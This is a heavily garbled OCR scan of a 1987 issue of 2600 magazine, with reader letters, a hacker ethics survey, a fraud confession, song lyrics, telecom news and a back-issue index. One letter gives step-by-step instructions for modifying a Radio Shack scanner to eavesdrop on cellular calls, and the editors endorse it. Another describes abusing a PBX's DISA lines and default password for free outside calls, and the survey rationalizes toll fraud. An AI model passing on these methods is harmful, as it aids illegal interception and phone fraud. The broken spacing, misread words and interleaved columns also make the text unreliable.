No me rlt ion was made of t h i s i n you r�nward System Access". If you ca l led i n
a rt i c l e "A Pen Reg i ster For P hreaks" i non certa i n n u m be rs i n a ny o f t h e sets, i t
your last issue, o r d i d n 't you have a ny bypassed t h e recept ion ist's boa rd and
know l ed ge of th is? got a dial tone, just as thou � you had
Samuel Rubin p icked up a phone on the prem ises. You
If you take a look at our CNA list. cou ld then d i a l a n off i ce extension
you 'll see that many area codes have d irect ly, d i a l9 for an outside ( l oca l ) l i ne,
the ir CNA bureaus located somewhe re or-dru m ro l l , p l ease!-d i a I81 or82 to
else, often in other states. It 's one of get an outside WATS l i ne.
those bitter ironies we hear so much T h i s sw i t c h wa s a l so p r og r a m­
about. m a b l e-t h e a s s i g n m e n t of w h a t
It 's qute true that the pen register n u m ber(s) to d i al for a n outside l i ne;
c a n b e lo o led in t o t h in k ing th a t a ass i g n " h u nt g roups" (make ca l ls to a
cordless �all is really an incoming call. busy n u mber " h u nt" a nother phone to
We 're nd sure if all pen registers can r i n g ); spec i a l featu res of m u lti-button
be trickel this easily. However, keep in phones (each button was prog ram ­
mind th�t when you use a cordless' m a b l e t o p e r for m a n y a v a i l a b l e
p hone, (o u ' r e b r o adc a s t ing y o u r fu nction); ass i g n a pecking order of
co n versation over the radio, which can numbers that could i nterrupt ca l l s on
be quite dam aging. If th is works other extensions, etc., etc. There was a
co nsiste(ltly, the best method would be provis ion for n umeric passwords for
to dial 0/1 a cordless phone and then t h e W A T S l i nes , b u t we n e v e r
transfer /0 a regular phone. Unless of i m plemented it.

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 the letters
The ent i re system was basica l ly a
g iant table of what i nterna l l i ne had
what k i nd of phone and its privi leges.
The table was kept i n both RAM and
non -volat i le memory: when you were
satisfied with your cha nges, you told
the switch to save them . Prog ra m m i ng
was done th roug h a ser i a l port, which
was hooked u p to a 300-ba ud mode m .
S i nce t h i s m odem w a s on the phone
syst e m , t h i s m e a n t t h a t i t was
access ible to the outside world (ITT
Customer S upport, by i ntention, but
a lso the wor ld genera l ly) by ca l l i ng i n
o n a designated D I SA l i ne . Usua l ly,
however, ITT service people visiting the
s i t e w o u l d b r i n g a c u st o m m i n i ­
term i n a l or a Radio Shack M ode l 1 00
with them and hook u p di rectly to the
ser i a l port. The system was password
protected, but the defa u l t "master"
password i s pretty obvious.
The orig i n a l idea was that us
prog rammer types cou ld h ave
term i n a l s at home, and if we g ot ca l led
to ta ke care of a c l ient's blowup, we
wou ld ca l l in to work (on a loca l n u m be r
if w e l ived c lose enough, or on the i n ­
WATS if f u rther o u t ) a nd d i a l u p t h e
c l ient mach i ne o n t h e out-WATS . I n
practice, it never worked worth a damn
beca use the end-to-end l i ne l osses
i nvolved i n going from WATS to WATS
prevented o u r cheap modems from
ha ndshaking .
The powers that be lost i nterest i n
t h e system w h e n it became apparent
that (A) it wou ldn't provide the work­
f r o m - h o m e c a p a b i l i ty t h ey w e r e
prom ised, a nd (B) the bozo employees
cou ldn 't keep stra ight when to use i n ­
WATS a nd w h e n t o ca l l i n on their own
nicke l . ( Least-cost routing was a pretty
far-out concept for most of them . Of
cou rse, if some of them were u s i ng the
system to ca l l Mom i n Pa lm Spri ngs, it
wou ldn 't have shown on the WATS b i l l ,
wh ich g ave only tota l hou rs o f u s e . I s ,
that why WATS l i nes a re cheape r than '
reg u la r ones?)
Oh, by the way-I tried the Caro l i n a
Beachcomber' s VAX program u n d e r a n
account that has C M K R N L b u t NOT
CM EXEC; it works u nder that situation,
too. G ives a fel l a a warm fuzzy feel i ng
j ust to know that it's there if he rea l ly
needs it. . . .
The Primal Wombat
Hotline Numbers
Dear 2600:
My m a i lbox is a lways fu l l of ma i l
promot i ng some k i nd of I nvestment
Advi so ry Service. These services te l l
you a l l about the economy, where it's
h eaded, and what to i nvest i n to m a ke
big bucks. For a fee ( r a ng i ng from $ 1 9
to $ 1 49) these services m a i l out a
monthly newsl etter recomm e nd i ng the
hottest stocks, bonds, fu nds, opt ions,
all ki nds of t h i ngs.
M ost of t hese services a Iso provide a
telephone h ot l i ne to ca l l for da i ly or
weekly advice, wh i l e wa iting for the
newsletter .
If any o f you r readers know o f a ny of
t h e se p h o n e n u m be r s , h ow a b o u t
p u b l i s h i ng t h e l ist? Who knows, we
m ig h t a l l get r i c h ( lega l ly) wh i l e we
read 26oo! Frank B ,
Monitoring Cellular
Dear 2600:
U pdating the i nformation conta i ned
in the "Tel ecom I nformer" of you r Apr i l
issue:
The 800 mhz mod diode was moved
from the u nderside of contro l l e r board
PC-3 in later mode ls of the Radio S hack
Pro-2004 sca n ner. S n ipping one end of
t h e d i od e i s s t i l l t h e m o d i f i c a t i o n ,
however . O n e a lmost gets the fee l i ng
that Radio S hack wa nted to m a ke it
e a s i e r for us t o m o n i t o r c e l l u l a r
telephones.
(continued on page 18)
2600 August. 1987 Page 13
 l'he Summer Games of 1 987
you 're saying so there 's no longer works. Passwords will also not be
;;:;- mis
� understanding. A void local TV accessible by anyone other than the
� news- they 're mostly Iljter ratings. caller.
�
Naturally, you should try not to let We feel this will uncloud the issue of
� yourself get into a ,ituation where such what is legal and what is not. On the
� unpleasant things can happen to you. public levels, illegal information, such as
] But sometimes thai isn 't enough. In credit card numbers and long distance
·s 1 985, The Private Sector, a bulletin codes, won 't be permitted and will be
� board run by 2600, was seized merely removed if spotted. Public levels will be
..:::: because its phone number had been accessible to everyone who calls. Private
mentioned on another bulletin board mail will remain private. It will be
system that was being investigated. analogous to the mail we get from the
Clearly, these are prectU"ious times. post office. By making these distinctions,
we think it will become much harder for
On the subject of bUlletin boards, bulletin boards to be "raided" because of
we 've made some UflpOrtant decisions in supposedly illegal activities.
the last month. We are going to try and We 've received some calls from folks
start up some boarJs as quickly as interested in running bulletin boards.
possible. Each of oPT hoards will have We now need software that can perform
public levels that ate open to anyone the above functions. If you have access
who calls in. Verification of callers will to this, please contact us.
. not be required. Being anonymous is If you belong to a company or
your right. Each caller will also be given organization that agrees with what we 're
a private mailbox, through which he can saying, you might want to donate or
communicate with {)ther individual loan computer equipment for this
callers. What goes on ill the private purpose. We'll also be happy to run
mailboxes will only be seen by the boards for anyone who wants to sponsor
sender and the receiver. The system one, but has misgivings about doing it
operator won 't even be able to access from their home. We have the means to
this information, at least not without save a little bit offreedom here. We
resetting the accoUltt so the password no cannot do this alone.

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Every Friday afternoon
between the hours of 5 and 8
in the Ma rket area of the Citicorp Center
in New York City ,

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 A HA CKER SUR VEY
At times like these, people begin asking
philosophical questions. What is right and
what isn 't? We thought that would be a
good subject to ponderfor the hackers of
the world and this is what we 've managed
to come up with sofar. Feelfree to write in
with your own comments, whether you re
a hacker or not.
The one thing that most of the hackers
we spoke with seem to agree upon is that
stea ling merchandise with credit card
numbers is wrong. Many went on to say
that this does not comprise hacking a1 all.
In other words, any moron can get a credit
card number and many do.
Why are such people categorized as
computer hackers? Probably because
some of them use computers to get credit
card numbers, said a few. Others believe
it s because the public and the media don 't
understand how anything involving credit
card fraud can be accomplished without
the help of a computer. It s quite possible
to commit credit card fraud simply by
picking a credit slip out of the garbage or
by standing around an A TM machine
until somebody discards a receipt that has
their Visa number on it. Since many credit
checks don 't verify the person s name or
the card s expiration date, it s become
extraordinarily easy. Which is another
reason many hackers dislike it.
What should happen to such people?
Many hackers believed they should be
dealt with severely, although prison terms
weren 't mentioned. A lmost all believe
they shouldpay back whatever it was they
stole.
Ho w a b o u t long dis tance fraud?
Reactions to this were mixed. Some feel
that ripping offlong distance companies is
exactly like credit card fraud. Others
b e l i e v e i t 's a fe w s t ep s a b o v e i t ,
particularly ifa hacker uses ingenuity and
common sense to avoid being caught. A
few questioned whether or not there was
actually any loss ofmoney to the company
involved, particularly the big ones. " Who
does A T& T have to pay when they re
stuck with a fraudulent phone bill? Do
t h ey p ay t h e m s e l v e s ? Th e s m a l l e r
companies usually pay A T& T, b u t who
do the bigger companies have to pay? It s
not like we 'd make a two-hour call across
the country if we had to pay for it, so the
lost revenue speech is kind of hard 10
swallow . .. "It seems to me that the phone
lines would still be there whether or not we
were on them, the computers would still
be running if we wer.en 't on them, either
way the cost to the company is almost the
same. " A few pointed out that the bad
p u b l i c i ty s u r r o u n ding c o de a b u s e
probably does more harm than the actual
phone bills.
Som e said that t o ll fraud was a
necessary part ofcomputer hacking, but it
wasn 't a form of hacking in itself. But
nearly all we questioned seemed to agree
that when caught, the culprit should be
made to pay back what they used, as long
as they 're presented with evidence that
they made the calls.
What kind of hacking is acceptable in
the hacker world? Generally, access to
systems that a hacker would never gain
access to, regardless of how much he was
willing to pay. Systems like the phone
company comp u ters, c redit checks,
census b u reaus, and p rivate m ilitary
sys tems were men t ioned m o s t . "By
accessing these, we re learning a lot more
than we ever could on Compuserve. We
'w
can uncover lots ofsecrets, like how easy it
is to change somebody s credit or how
easy it is to find an un lis ted phone
number. People would never know these
things if it weren 't for us . .. These kind of
h a c k e rs l o o k up o n t h e m s e l v e s a s
"technological Louis and Clarks ':
What kind ofprice should a hacker pay
if he s caught on a non-public system ? A
few said a fine of some sort should be
imposed. But most seemed to believe that
an agreement of some s o r t could be
reached between the variousparties, such
as the hacker telling the operators how
they accessed their system and what bugs
(continued on page 22)
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7/0 1 /87

Dear PC Pursuit Customer:

You may be aware of the FCC's recent proposal to impose swi tched access charges on
Telenet and the other enhanced service providers (ESPs). This le tter is being sent to all
PC Pursuit users to provide some initial informa tion on the new F C C proposal and to
answer questions you may have regarding the proposal and its potential i mpact on PC
Pursuit and other computer-based services.

Switched access charges (also called "carrier access charges") were origina lly devised by
the FCC as the interexchange carriers' means of payment for their use of the local
exchange dial network in originating and terminating long distance traffic . Now the F C C
proposes t o extend these access charges t o enhanced services such a s Telene t ' s P C
Pursuit . a s well a s t o any other computer-based servic e which h a s interstate traffi c ,
including database services. electronic m a i l , computer conferencing, home
banking/shopping, timesharing, and videotex.

Based on information now available from the F C C , we estimate that access charges would
add approximately $4.50 per hour to ES P costs for dial-in access to a remote host
computer, and $7-9 per hour for a service such as P C Pursuit which uses both dial-in and
dial-out access on each call. PC Pursuit customers and other computer users would be
particularly affected by these access charges. P C Pursui t ' s curren t "Flat-rate/un l i m i ted
usage" service would have to be repriced on a per usage basis, incorpora ting the. $7-9 per
hour access charge. It is doubtful that the service could survive a t this inflated rate.

Telenet and the other enhanced service providers intend to fight the F C C ' s proposal . You
can assist in our effort by letting the FCC and your Congressional representatives know
how access charges will adversely affect your ability to reach i nform a tion and remote
BaS systems affordably. The FCC has asked for this input. Please use this opportunity to
add your voice to the debate and stop the proposed increase.

Once the F C C ' s official Notice of Proposed Rulemaking has been published, w e will
provide more details on the proposal. This information will include addresses and other
information for your letters. and the F C C ' s schedule for receiving com ments on the
proposal. In the meant i m e . please address your questions or c o m m ents to F C C . ISSUES on
PC Pursuit's Net Exchange BaS. P C Pursuit customers can access the Net Exchange using
the following sign-on procedures:

@C PURSUIT, YOURID (CR)

PASSWO RD.YOURPASSWORD (CR)

Working together, we defea ted a s i m ilar proposal which would have appl ied access charges
to PC Pursuit and other enhanced services just three months ago. With the sa m e effort
now w e can repeat our victory, and protect the important computing resources we enjoy
affordably today.

WE N EVER THOUGHT WE'D SEE THE DAY WHEN THIS MAGAZINE would
adually donate space to a huge corporation in order to give them a chance to get a
message through. Well, in this particular case, they make a lot of sense. It's a rare
oaurrenu, but it does happen now and then.

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 tellers (continuedfrom page 13)
To restore 800 mhz coverage on the
Pro-2004 sca n ner, ca refu l ly remove
the cover a nd locate t h e contro l l e r
boa rd PC-3. Ea r ly versions wi l l have a
d i ode added to the u nderside of t h i s
mod u l e . O n t h e newer m ode l s t h e
d iode h a s been relocated to the t o p of
PC -3. Locate D i ode 0 5 1 3 towa rd the
back l eft of the mod u l e a nd clip one
end. (You can remove it e n t i re ly, but it's
easier to put back together for serv i c i n g
u nder the wa rra nty if y o u s i m p l y s n i p
one e nd . ) Th is w i l l restore both the 30
khz steps a n d the 800 m h z ce l l u l a r
telephone ba nd.
Keep u p the good work!
Stingray
The federal go vernment has recently
s ide d w i t h t h e c e llu la r p h o n e
companies in aI/owing them to not
p la c e w a r n in g s on th e ir p h o n e s
admitting to the possibility o f their
p h o n e c a lls b e ing lis ten e d to. O u r
position is simple: listening t o a radio is
not the same as tapping into a line. For
one thing, it 's a hell of a lot easier. But
there is really no in vasion o f privacy in
receiving something that has come
into your own home. Eventually, we
feel, the crazy la w that makes it a crime
to listen to certain freqlfencies will be
rep e a le d. Esp e c ia lly if p la n s a n d
modifications like the abo ve continue
to proliferate. Send us yours toda y!
A n Experience
Dear 2600:
About a yea r a nd a h a l f ago I was
apprehended for " u nautho r i zed u se of
phone l i nes" . Here's my expe r ience i n
a n utsh e l l . M yse lf a n d rny friend, T h e
Ice Lord, r a ng u p most, of a bo u t $8000
worth of fra u d u lent ca l l s to a sma l l long
d i stance service that cou l d n 't afford to
take t h e loss. Through c a r e lessness,
w e we r e b u s t e d b y th e j e r kw a t e r
s h e r i ff ' s depa rtment in cooperation
with som e i ncom petent P I ' s a n d the
F B I . T h e y f u m b l e d a rou nd with my
sys t e m a n d g ave awa¥ the fact that
Page 18 A ugust. 1 987 21110
they had j u st busted Ice Lord by the
way t h ey a c c e s s e d d i s k d i recto r i e s
befo r e p a c k a g i n g u p m y c o m p u t e r ,
notes, a n d joyst icks. I wou ld advise that
a nyone who gets i nto a s i m i l a r
situation not ta lk, as I d i d , beca use i n
m y case cooperation didn 't make i t a ny
eas i e r on m e . It j u st strengthened the
p l a i n t i ff ' s case a n ywa y . The j u d g e
w e n t p retty e a s y o n u s a n d t h e
i n s u r a n c e company sett led the
l aws u it, so a s soon a s I get a new
keyboa rd (the cops ma naged to waste
most of my Com m -64's c h ips), l ife w i l l
get mostly back to norma l . By the way,
eve n though they had evidence , other
cri mes were over l ooked . J u st wanted
to s h a re my expe r i e n ce-hope it's of
some va l u e .
I love you r mag b u t can I anticipate
somet h i ng more in the way of how-to
a r t i c l e s a n d b e g i n n i n g to s e m i ­
tec h n ica l p rojects? Also, I 'm looki ng
forwa rd to hea r i ng a bout a 2600 meet
on the west coast. Any cha nce of it?
Last ly, can you g ive m e the fu l l story
on B i l l La ndreth 's d i sappea rance?
The Sorcerer
We hope when you sa y "life will get
back to normar, you don 't mean you 'll
continue to openly commit fraud on
some poor phone company. There is
very little of what you told us that
sounds like true phreaking or hacking.
A n ybody can make free phone calls
these days but only a few know how to
thoroughly explore and discover new
tricks.
We 're lo o k ing for m o r e h o w - t o
a r t i c le s w h i c h o u r r e a de r s a r e
e n c o uraged t o s ubm it. A s fa r a s
m e e ting on t h e w e s t c o a s t. tha t
depends o n how many people seem
interested.
We don ' t k n o w m u ch ab o u t B ill
Landreth (author of Out of the Inner
Circ le), b u t word h a s it t h a t h e 's
reappeared.
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they got u s i n a hea twave
p l ay i ng in the arcade
o n e t o o m a n y l og i n
o n t h e g o v e rn m e n t l i n e . • . . n u c l ea r a mb i t i on s
a l l a ro u n d t h e c o u n t ry
t h e y d e s ce n d e d i n a r a g e
m a k i ng s u re we c ou l d n ' t t a l k
p u t t i n g l oc k s u p o n t h e c ag e
but w i l l y got a t i p-off
a n d h e s a i d t h i s j u s t won ' t d o
t h e re ' s w a y t o o m u c h t o l o s e
a n d t h e r e ' s s o m u c h more t o d o
w i I I y man w i I I y
w h e r e d i d y o u go w r o n g
s h o u l d a l i s t e n ed t o y o u r p a re n t s
s h o u l d a l e f t t h e toy s a l on e
but h a c k e r see s a s h a c k e r does
y o u d i d i t a l l t h e t i me
y o u m a d e i t to t h e h i s t o r y book s
y o u r l i f e w a s j u st a c r i me
now j i mmy u s ed a c re d i t c a rd
he m a d e up i n h i s h e a d
a n d f reddy w a s a g a n g s te r
w i t h t h e t e l e p h o n e t hey s a i d
c o n n ec t i ng 5 0 peop l e
f o r a t r a n s - a t l a n t i c f l i ng
t h e ro b i n hood s of w i re s
t h a t w a s j u s t o u r k i nd o f t h i ng
we a c c e s s e d i n f o rm a t i o n
t h a t w a s n o t f o r us to s e e
a n d we k new t h e d a y wou l d c ome
w h e n w e ' d have t o p a y t h e fee
but none o f us k n e w w i l l y
h a d g o t so f a r a l o ng
n o none o f us k new w i l l y
h a d u n e a rt h e d t h e s e c r e t s o n g
a l wa y s s u c h a q u i et k i d
h e never made a scene
a n d w h a t h e d i d i n s i de h i s room
i t s eemed j u s t l i k e a d r e a m
m a n i p u l a t i ng s a t e l l i te s
a n d t u rn i ng w r o n g s i n t o r i g h t s
e l ec t ro n i c t e r r o r i s t s
t h e b a d d e s t g a n g i n town
wi l l y m a n w i l l y
w h e r e d i d we go w r o n g
shou l da l i s tened t o our pa rent s
s h o u l d a s p e n t t h e n i g h t s a t home
i n s t e a d we h u n g out w i t h a b u n c h
o f t e e n a g e k i d s w h o thought t o o m u c h
we n e v e r s eemed t o r e a l i ze
wh a t i t w a s we a l wa y s k n e w
c
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h e s c a n n e d i n Fort Geo r g e Meade
a l l the d e f c u l t s s eemed t o work
we h a c k e d a w a y w i t h s peed
a n d p l a n s f o r f u t u re k i ng s
graph i c expec t a t i o n s
o f t h e d a y t h e be l l w o u l d r i n g
t h i s w a s no w a r g a me p i c t u re
I.e w e r e m o v i ng t h ro u g h a b r a i n
e v e r y room h a d t h i r t e e n e x i t s
a n d a t l ea s t a d o z e n n am e s
a d i g i t a l t r a n s l a t i on
of e v e ry t h i n g we s a y
i s b e i ng s t o re d a n d c a t a l og u e d
i n row s o f l i t t l e c r ay s '
o u r b u f f e r s c o u l d n ' t c a p t u re i t
wa s w a y t o o m u c h t o g ro c
some s l ee p l e s s n i g h t s t o a n a l y z e
b e f o re t h e re w a s a KNOCK
a n d w i l l y had h i s p r i n to u t s
he s t a ye d o u t l a t e t h a t n i g h t
d e s c r a m b l i ng t h e e v i d e n c e
p r e p a r i ng f o r a f l i g h t
t h e A t ra i n i t r a n a l l n i g h t
and w i l l y so d i d y o u
t i l t h ey h o l ed y o u u p
o n a n u p t o w n n um b e r t w o
t h e sma r t e s t m o t h e rh a c k e r
that ever ever was
y o u r v o i ce i s s i l en t n o w
a n d y o u r t e rm i n a l i s l o s t
w i l l y man w i l l y
w h e r e d i d i t go w r o n g
s h o u l d a l i s t e n ed t o o u r p a re n t s
s h o u l d a s u n g a d i f fe r e n t song
b u t i g o t off s o l u c k y
and you y a h a d to r u n
s o i n s t e a d o f be i ng h a ppy
y o u ' re 3 - 4 - 2 - 9 - 1 - 1
i l o s t s om e b i t s o f m emo ry
my t h i n k i n g c a p ' s on t i g h t
i ' l l n e v e r u n d e r s t a nd
how you thought you ' d w i n the f i gh t
w h e n t h e y k i l l t h e f i r s t amendme n t
w i l l t h e s e c o n d be t h e f i r s t ?
w h a t ' s t h e po i n t o f e v e n t h i n k i n g
i f y o u r b ra i n ' s a b o u t to b u r s t ?
wi l ly man wi l ly
w h e r e d i d y o u go w r o n g
j u s t a n o t h e r j oh n n y t o o bad
that t h e w o r l d w i l l n e v e r know
i w i s h the c l o c k c o u l d turn a ro u n d
a n d r u n t h e o t h e r way
but i ' ve h a d t o o m u c h t o d r i nk
a n d there ' s noth i ng i c a n say
the telecom informer
Pacific Bell between J uly 1 986 and May
1 987 for d ia l-it service (976) calls , $40. 1
million went to pornographic services.
Someone send this to Falwell, please .
We like it when he gets ind ignant . . . .Over
to England : British Telecom has been
rocked by a million dollar long d istance
fraud perpetrated by its own operators.
The fraud was centered at the City of
London I nternational Telephone
Exchange at W ren H ouse directly
opposite St. Pau l 's Cathed ral .
Companies were paying operators under
the table to place international calls for
free. For an o pe rator to place a cal l ,
they must fi ll i n a green card w i t h the
number of the ca ller and the overseas
number d ialed . If the cal l cannot be
connected , the card s a re "crossed
through ". No names appear on the green
card s . Operators conceivably could have
been connecting calls and "crossing
through " after the cal ler had been
connected . . . . Police in London are
hunting for a gang who cut a street
telephone cable a nd intercepted calls as
part of a swindle that netted $ 1 .2 million
in K rugerrand gold coins. Two of the
con men , d ressed in business suits and
carrying briefcases , bought the
K rugerrands with two forged bank
d rafts . To make sure the d rafts would be
honored , a ga ng member had lifted a
street ma nhole cove r near the bank and
sawed th rough a telephone cable. A
fou rth member of the gang, d isguised as
a telephone engineer, plugged into a
nearby j u nction box and intercepted
calls from two bullion firms to the
National Westminster Ban k . Posing as a
bank official, he assured the bullion
dealers that the d rafts were in o rder.
"Someone knew a hell of a lot about the
bullion business�and even more about
telephones , " said one invest igator. "This
is a magnificent crime , " said
another. . . . British Telecom has adopted
the name Ca llstream for its telephone
information and e ntertainment services
that are cha rged at h igher-than-normal
(continued from page 8)
rates. Callstream covers all services
using phone numbers beginning with
0898, 0077 , 0066, and 0055 . . . . And
finally, Britain 's 30 million pound a year
999 emergency service , which handles up
to 50,000 life a nd death calls a day,
quietly celebrated its fiftieth anniversary
o n J uly I . Starting next year, calls to the
well-known phone number will be
switched to the appropriate emergency
service faster as part of a new system .
British Telecom 's 1 4,000 specially
trained operators at 200 exchanges will
know immed iately when there is an
emergency cal l o n the line. The call will
be given priority ove r all waiting calls
for connection to the fi rst available
operator. A special emergency call
format will appear o n the operator's
terminal, and if the ca l l is from a d igital
exchange the system will automatically
display the calling number and the
emergency authorities' numbers . The
operato r will select the number of the
req uired service and OSS (Operator
Service System) will connect the cal l .
The history of 999 : When introduced i n
London on J uly I , 1 937 , it was a world
first . It was then rolled out to the rest of
the country. The Second World War
held up progress but by 1 948 all of
Britain's major towns served by
automatic exchanges had 999 . A
Parliamentary Committee had
recommended a s ingle, memorable
number that could be used throughout
the country to summon emergency hel p ,
p l u s sound and visual a le rts at the
exchange to let operators know of an
incoming emergency cal l . Techn ical
reasons d ictated the choice of 999 . The
number had to be three d igits to work in
London. A nd the d igits needed to be the
same so that the number was easy to
remember and to d ia l . The d igit 0
connected with the operator. N umber
I I I could be set off accide ntally by
faults or lines o n poles touching in the
wind . N umbers 222 to 888 were i n use
by customers . So 999 it was .
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h a pp e n to t h e i r h e a v i l y ta pped p h o n es
honestll' . ..
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\jhat is good hack ing and what is bad
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h a c k ing . Bad hack ing wo u ld include
h o u rs of t h e fatef u l morn i ng as
actions like crashing a system for no
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pa r t icula r reas o n . " Go o d hack ing is
the P r es i d e nt i a l Pa l a c e , i t appea red
entering a system , creating ambiguous
t h a t t h e p h o n e s of a b o u t 2 5 00 of
accounts, co vering your tracks, defeating
A l l ende's c losest a ssoc i ates i n
t h e a c c o u n t ing, gain ing h igh ac cess ,
gove r n m e n t h a d g o n e d e a d . I n h i s book
exploring, learning, and leG l'ing. A bad
o n the A l l e n d e "desta b i l i z a t i o n " , t h e
hacker erasesfiles and reads others 'mail. "
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1986
PRIVATE SECTOR RETURNING Back online soon but many questions on seizure remain, THE BASICS DIVESTtTURE_ WHAT
HAPPENED } -an explanation of that which IS cunfuslng the populace, FLASH. AT&T steals customers, Dominican blue boxers, computerized
hooky catcher, Falwell attacked bycornputer, an astronomical phone bill. dlal�a-porn update, phone boot h VictoriOUS; LETTERS' Gett i n g credit
f r o m alte rnate c a r r i e r s , tracing methods, mobile phones, Manitoba raid, 2600 I N F O R M A T I O N B U R E A U --blue box programs;
SYSTEMATICALLY SPEAKING confUSing payphones, code abuse software, centrex features In your house, VAX 8650. overcharge hunters,
VMS THE SERIES CONTlNUE5--·more on securtty features, IT COULD HAPPEN TO YOU! --what happens when hackers have a fight; DIAL
BACK SECURITY -holes In the systems; FLASH . abuse of party line. unique obscene caller, news on pen registers, reporters steal SWISS
phones, pay phone causes paniC, LEITERS. asking questions, blue box corrections, Computel complaint, BBS security; 2600 INFORMA nON
BUREAU ·--assorted numbers, SYSTEMATICALLY SPEAKING Sprint and US Tel merge, write protect tabs wrong, Bell Atlantic chooses MCI,
cellular phones In England, Infrared beeper, electronic tax returns, acoustic trauma; AN OVERVIEW OF AUTOVON AND SILVER BOXES-the
military phone network and how your touch tone phone can play along; AN AMERICAN EXPRESS PHONE STORY-a memory of one of the
better hacking escapades, FINAL WORDS ON VMS--secuf lty deVices and assorted t i PS; FLASH. hacker zaps computer marquee, Soviets
denied computer access, calling the Shuttle, new ways of stealing data, computer password forgotten; LEITERS corporate rates, defeating
call waiting, nngback numbers, where IS BlO C ? , credit where It'S due, speCial 800 number; THIS MONTH AT 2600 Private Sector's return,
Computel and Compuserve, Telepub '86, a postal miracle; SYSTEMATICALLY SPEAKING· Jamming satellites, TASS news service, Soviet
computer update, dialing the yellow pages, Northern Telecom to destroy CO's, more phones than ever, RSTS FOR BEGINNERS-basIc
system functions, logm procedures, MOBILE PHONES THEORY AND CONSTRUCTION-how to build your own mobile phone; FLASH
British phonebooth wedding, another large Sprmt bill, bad tenant databases, car breathallzers, phone phreak fined, Marcos phones for free;
LEITERS blue oox codmg, electronic road prlcmg I n Hong Kong, UNIX bugs, more on Af hacking; A STORY OF EAVESDROPPING-from
World War II, THIS MONTH AT 2600 transcripts of Private Sector raid, more on ComputeI. SYSTEMATICALLY SPEAKING . 6 1 7 to be divided,
Congress chooses AT&T, Baby Bells don't pay AT&T bills, equal access 800 numbers, data encryption, DA failure, AT&T loses its zero;
[XPLO ITS IN OPERATOR HELL -haraSSing operators from Alaska; THE COMPUTELSCOOP; FLASH: Bellcore publications go publiC, US and
Fr(:)nce link phones, computer grammar, shower phone, cellular modem, high tech parking meters, Congressional computer; LEITERS.
foreign phone systems, RUSSian phone boo k s, numbers to dial on a blue oox, Boston ANI, Cheshire Catalyst, CNA ways of answering the
phone, 2600 INFORMATION BUREAU Autovon number5, alternate phreaklng methods for alternate carners, SYSTEMATICALLY
SPEAKING Wrestlemanla pins Bell. sting boards on the nse, American Network fears hackers, free pay-phones plague New Jersey,
disposabl e phones, hacker terrorists, COMPUTER CRIME REVIEW-a reView of the report from The National Center for Computer Cnme
Ddta, HOW TO HACK A PICK -·An Introduction to the Pick operating system and ways of hacking I nto It, NOTHING NEW IN COMPUTER
UNDERGROUND-·revlew of a new book, FLASH New York's new computer Crime law, a $6,829 phone bilL how big computer crime pays,
publiC phone secrecy, Capitol Hili hacker, Clt lbank money games, LEITERS English phreaklng, ways of tricking sting BBS's, called party
superVI S i on, 2600 Phun Book, Captain Midnight, RCI, 2600 INFORMATION BUREAU-some phone numbers, RESOURCES GUIDE;
SYSTEMATlCALL Y SPEAKING Hands across Telenet, calling Kiev, Nynex bumps off Southwestern Bell, stock market crash, cell site names,
Videophones, VIOLATING A VAX .- T r oJan horses, collecting passwords, etc , etc ; THE FREE PHONES OF PHILLY -Skyline prOViding
completely f r ee service from pay phones, FLASH town cnppled by telco strike, prisoners make ,llegal calls, hacker degrees, New Jersey tops
laps, ex· f ed IS tapped, water company wants customers' SOCial secuflty numbers, computers stf lke again, federal employees "tracked";
LETTERS ASSOCiation of Clandestine RadiO EnthUSiasts, In correction, NSA, more on VMS, Telecomputlst, a 950 trick, 26CXJ INFORMATION
BUREAU World Numbering Zones, SYSTEMA T!CALLY SPEAKING AT&T seiling pay phones, automated operators. cellular dlal-by-voice,
new BflI I sh phone serVICe, no data protection for Hong Kong, Congressional fraud hotline, federal phone failures, Indiana telco threatens
ll... T & T , KNOWING UNIX sending ma t ! and general hacking, A TRIP TO ENGLAND-and the fun things you can do with phones over there,
F LA S H Phone fraud m governors house, Big Brother, Teltec fights back, vandalism, 9 1 1 calls. LEITERS shutting dQwn systems, legal
BBS � , VAX , VMS tipS, 2600 INFORMATION BUREAU-a list of teicos, a list of area codes and number of exchanges; SYSTEMATICALLY
::;PEAK I N G USSR computers, ATM's In China, NYCE, TV blue ooxes, government phones, rural radiO phones; SOME FACTS ON
SUPE H V I SION -answer superVISion explained, RCI & DMS-100 BUGS, ANOTHER STINGER IS STUNG-Maxfield exposed again; FLASH
NSA drops DES, hackers on shortwave, Big Brother traffiC cop, crosstalk saves a hfe, Indian phones, Video signatures, FBI shOPPing list,
alrphone causes confusion, LEITERS Captain Midnight, annoyance bureau, SL-1 SWitches, credit, PBX's, 800 word-numbers, publtcCNAs,
2600 INFORMATION BUREAU ··Wlnnlpeg numbers, SYSTEMATICALLY SPEAKING Sprint overbills, AT&T ranks # 1 , portable VAXes, call
rejection , DEATH OF A PAY PHONE· . nasty bUSiness, TRASHING AMERICA'S SOURCE FOR INFORMATION-stili moretaetlcs; FLASH : FBI
I flvest lgi3tes coffee machine, CIS copyrights pubt lc software, Navy software, HBD encryption, Indiana "Fones", LEITERS. Numbers, telco
harrassment, Puerto Rican telephones, Q's and Z ' s, 2 600 INFORMATION BUREAU -Overseas numbers, SYSTEMATICAllY SPEAKING
Electron Ie tax returns, software makers crash BSS, ICN, Ultraphone, ESS In T a!wan, NSAwants new chip; ICN -MORE THAN A BARGAIN·­
a look <.1t one of the worst phone companies In the world; MASTERING THE NETWORKS -commuOicat l n g on Arpanet, B itnet, etc . ; FLASH.
Heagan tortures patients, FBI angers parents, Q and Z controversy; LEITERS Telenet hacking, ANI's, 8 1 1 , 976 problems, 2600
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has too many customers, new payphones, nickname list lOgS, computer college; A LOOK AT THE FUTURE PHREAKING WORLD-Cellular
telephones & how they wo,k, HOW CELLULAR PHONES CAME ABOUT AND WHAT YOU CAN EXPECT; THINGS WE'RE NOT SUPPOSED TO
KNOW ABOUT, FLASH AVOiding reJection, phrealo..s tie up CirCUits, North Carolina hackers, International hackH1g, paying for touch tones,
wiretaps, LEITERS Equal access 800 numbers, strange numbers, Iflsh phreaktng, disabling call walt'ng, 2600 INFORMATION BUREAU--­
NetmadSltes, SYSTEMATlCALLY SPEAKING Free dlrectofles, fingerprint ID system, navigating With CD's, sweeping for bugs

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CONTENTS
SUM M ER GAM ES OF 87 . . . . . . . . . . . . . . . . . . 3
TRW CREDENTIALS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
PHON E NUMBERS . . . . . . . . . . . . . . . . . . . . . . . . . . . . .6 .

TELECOM I N FORM ER . . . . . . . . . . . . . . . . . . . . . .8 .

